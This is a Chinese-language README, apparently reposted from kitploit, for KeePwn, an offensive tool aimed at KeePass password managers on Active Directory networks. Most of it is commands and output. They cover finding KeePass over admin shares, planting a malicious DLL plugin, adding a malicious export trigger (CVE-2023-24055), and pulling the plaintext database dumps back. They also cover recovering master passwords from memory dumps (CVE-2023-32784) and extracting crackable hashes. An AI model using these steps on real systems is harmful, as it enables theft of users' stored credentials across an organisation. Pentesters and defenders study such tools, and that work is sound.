KeePwn

KeePwn 的 search 模块用于识别目标环境中运行 KeePass 的主机：

$ python3 KeePwn.py search -u 'Administrator' -p 'P@$$w0rd!!' -d 'COMPANY.LOCAL' -tf ./targets.txt

[*] Starting remote KeePass search with 5 threads

[PC01.COMPANY.LOCAL] No KeePass-related file found
[PC02.COMPANY.LOCAL] No KeePass-related file found
[PC03.COMPANY.LOCAL] Found '\\C$\Program Files\KeePass Password Safe 2\KeePass.exe' (Version: 2.57.1, LastUpdateCheck: 48 minutes ago)
[PC03.COMPANY.LOCAL] Found '\\C$\Users\jdoe\AppData\Roaming\KeePass\KeePass.config.xml'
[PC04.COMPANY.LOCAL] No KeePass-related file found
[PC05.COMPANY.LOCAL] No KeePass-related file found

它利用 Active Directory 内置的 C$ 共享在默认位置查找与 KeePass 相关的文件，因此需要在目标上拥有管理员权限。

该模块首先会在每个用户的 %APPDATA%\KeePass 文件夹 中查找 KeePass.config.xml 配置文件，以及在默认安装路径（C:\Program Files\KeePass Password Safe 2）中查找 KeePass.exe。如果找到配置文件但 KeePass 未全局安装，KeePwn 将递归查找便携式安装，最多深入 --max-depth 个子文件夹。

这种基本搜索技术应该足以准确判断工作站上是否使用了 KeePass。此外，--get-process 选项将使用 Impacket 的 RPC 实现来确定 KeePass 当前是否在目标上运行。

还包含了一些提升使用体验的选项，允许你将搜索结果导出到 CSV 文件，仅显示找到 KeePass 的目标，以及调整并行线程数：

$ KeePwn search -u 'Administrator' -p 'P@$$w0rd!!' -d 'COMPANY.LOCAL' -tf ./targets.txt --threads 4 --get-process --found-only --output keepwn_out.csv

[*] Starting remote KeePass search with 4 threads

[PC03.COMPANY.LOCAL] Found '\\C$\Program Files\KeePass Password Safe 2\KeePass.exe' (Version: 2.57.1, LastUpdateCheck: 48 minutes ago)
[PC03.COMPANY.LOCAL] Found '\\C$\Users\jdoe\AppData\Roaming\KeePass\KeePass.config.xml'
[PC03.COMPANY.LOCAL] Found running KeePass.exe process (User: COMPANY\jdoe, PID: 3820)

[+] Search results logged to keepwn_out.csv

KeePass 提供了一个插件框架，可被滥用以将恶意 DLL 加载到 KeePass 进程中，从而允许具有管理员权限的攻击者轻松导出数据库（参见：KeeFarceRebornPlugin）。

KeePwn 的 plugin 模块允许：

• 列出当前已安装的插件并枚举插件缓存

  root@kitploit:~

  $ KeePwn plugin check -u 'Administrator' -p 'P@$$w0rd!!' -d 'COMPANY.LOCAL' -t PC03.COMPANY.LOCAL                                   
  
  [*] No path specified, searching in default locations..
  [*] Found dbBackup.plgx in folder '\\C$\Program Files\KeePass Password Safe 2\Plugins\'
  [*] Found pDhkzWQYiobXhtBEEnbo in folder '\\C$\Users\jdoe\AppData\Local\KeePass\PluginCache'
  

• 添加和删除你的恶意插件

  root@kitploit:~

  $ KeePwn plugin add -u 'Administrator' -p 'P@$$w0rd!!' -d 'COMPANY.LOCAL' -t PC03.COMPANY.LOCAL --plugin KeeFarceRebornPlugin.dll  
  
  [*] No path specified, searching in default locations..
  [*] Found KeePass Plugins directory '\\C$\Program Files\KeePass Password Safe 2\Plugins\'
  [!] About to add KeeFarceRebornPlugin.dll to KeePass Plugins directory, do you want to continue? [y/n]
  > y
  [+] Plugin successfully added to KeePass, wait for next restart, poll and enjoy!
  

• 轮询 %APPDATA% 以获取导出，并自动将其从远程主机移动到本地文件系统

  root@kitploit:~

  $ KeePwn plugin poll -u 'Administrator' -p 'P@$$w0rd!!' -d 'COMPANY.LOCAL' -t PC03.COMPANY.LOCAL                                  
  
  [*] Polling for database export every 5 seconds.. press CTRL+C to abort. DONE                                                                                                                                                                                
  [+] Found cleartext export '\\C$\\Users\jdoe\AppData\Roaming\export.xml'
  [+] Moved remote export to ./export.xml
  

如 @harmj0y 的博文（以及后来的 CVE-2023-24055）所述，KeePass 的触发系统可被滥用以明文导出数据库。

KeePwn 的 trigger 模块允许：

• 检查 KeePass 配置中当前是否写入了名为 "export" 的恶意触发器

  root@kitploit:~

  $ KeePwn trigger check -u 'Administrator' -p 'P@$$w0rd!!' -d 'COMPANY.LOCAL' -t PC03.COMPANY.LOCAL       
  
  [*] No KeePass configuration path specified, searching in default locations..
  [*] Found global KeePass configuration '\\C$\Program Files\KeePass Password Safe 2\KeePass.config.xml'
  [*] PreferUserConfiguration flag is set to true, meaning that local configuration is used
  [*] Found local KeePass configuration '\\C$\Users\jdoe\AppData\Roaming\KeePass\KeePass.config.xml'
  [+] No trigger found in KeePass configuration
  

  注意，如果检测到的 KeePass 版本不受此技术影响，KeePwn 将阻止你滥用插件。

• 添加和删除一个名为 "export" 的恶意触发器，该触发器在下次 KeePass 启动时执行数据库的明文导出到 %APPDATA%

  root@kitploit:~

  ❯ python3 KeePwn.py trigger add -u 'Administrator' -p 'P@$$w0rd!!' -d 'COMPANY.LOCAL' -t PC03.COMPANY.LOCAL       
  
  [*] No KeePass configuration path specified, searching in default locations..
  [*] Found global KeePass configuration '\\C$\Program Files\KeePass Password Safe 2\KeePass.config.xml'
  [*] PreferUserConfiguration flag is set to true, meaning that local configuration is used
  [*] Found local KeePass configuration '\\C$\Users\jdoe\AppData\Roaming\KeePass\KeePass.config.xml'
  [+] Malicious trigger 'export' successfully added to KeePass configuration file (it may be deleted if KeePass is already running)
  

如 @vdohney 所述，可以从内存中检索数据库的主密码（CVE-2023-32784，影响 KeePass 2.54 之前的版本）。

KeePwn 的 parse_dump 模块将在转储中搜索潜在的主密码候选。由于生成的字符串（设计上）是不完整的，该模块也可以用于针对指定的 KDBX 文件暴力破解缺失的第一个字符。

$ python3 KeePwn.py parse_dump -d ./KeePass.DMP --bruteforce Database.kdbx

[*] Searching for the master password in memory dump.. done!                                                                                                                                                                                                 
[*] Found 15 candidates:
     ＿@$$w0rd!!
     ＿Ï$$w0rd!!
     ＿§$$w0rd!!
     ＿ñ$$w0rd!!
     ＿D$$w0rd!!
     ＿$$w0rd!!
     ＿\$$w0rd!!
     ＿#$$w0rd!!
     ＿y$$w0rd!!
     ＿k$$w0rd!!
     ＿9$$w0rd!!
     ＿;$$w0rd!!
     ＿H$$w0rd!!
     ＿>$$w0rd!!
     ＿a$$w0rd!!

[*] Bruteforcing missing symbol with the 254 most common unicode characters.. done!                                                                                                                                                                          
[+] Database.kdbx successfully unlocked using master password P@$$w0rd!!

内存转储解析使用了 @CMEPW 的 Python PoC。感谢允许我重用代码 :)

@harmjoy 的 keepass2john.py 脚本在 @0xSp3ctra 的帮助下移植到了 KeePwn。

KeePwn 的 convert 将从 KeePass 数据库中提取一个可破解的哈希（john 或 hashcat 格式）。

KeePwn convert -d ./Database.kdbx 

[+] Happy cracking! (hashcat -m 13400)
$keepass$*2*60000*222*b794eae002aff2a55a307bedeadebee210ee3c3596731f5acf2a1ff3add7d5af*7f19293f120717cbb88cdd27a3d4b9cb58316c61c625ca3a39f94c5a96b6135b*c004b3bc403730ce1bba15d5feda18e2*55a142d52798313c336c9442d824d7098ded3c5e161b76640100c99ec1cd95e1*60bb1f64c2bfff8a4e1eb43c533054f2f5c46fac19a867e7f80a1a71d6b68f17

可以通过更多参数指定期望的哈希类型以及输出文件路径：

KeePwn convert -d ./Database.kdbx -t john -o ./Database.hash 

[+] Hash written to ./Database.hash, happy cracking! (john --format=keepass)

KDBX 4.x 尚未支持，你可以使用 https://github.com/r3nt0n/keepass4brute。 如果你有意提交 PR，https://palant.info/2023/03/29/documenting-keepass-kdbx4-file-format 将是一份不错的参考资料 :)

贡献

欢迎拉取请求（参见：未选中的功能 + 代码中的一些 TODO）。

如有建议，欢迎在 Twitter 上私信我或提交 issue。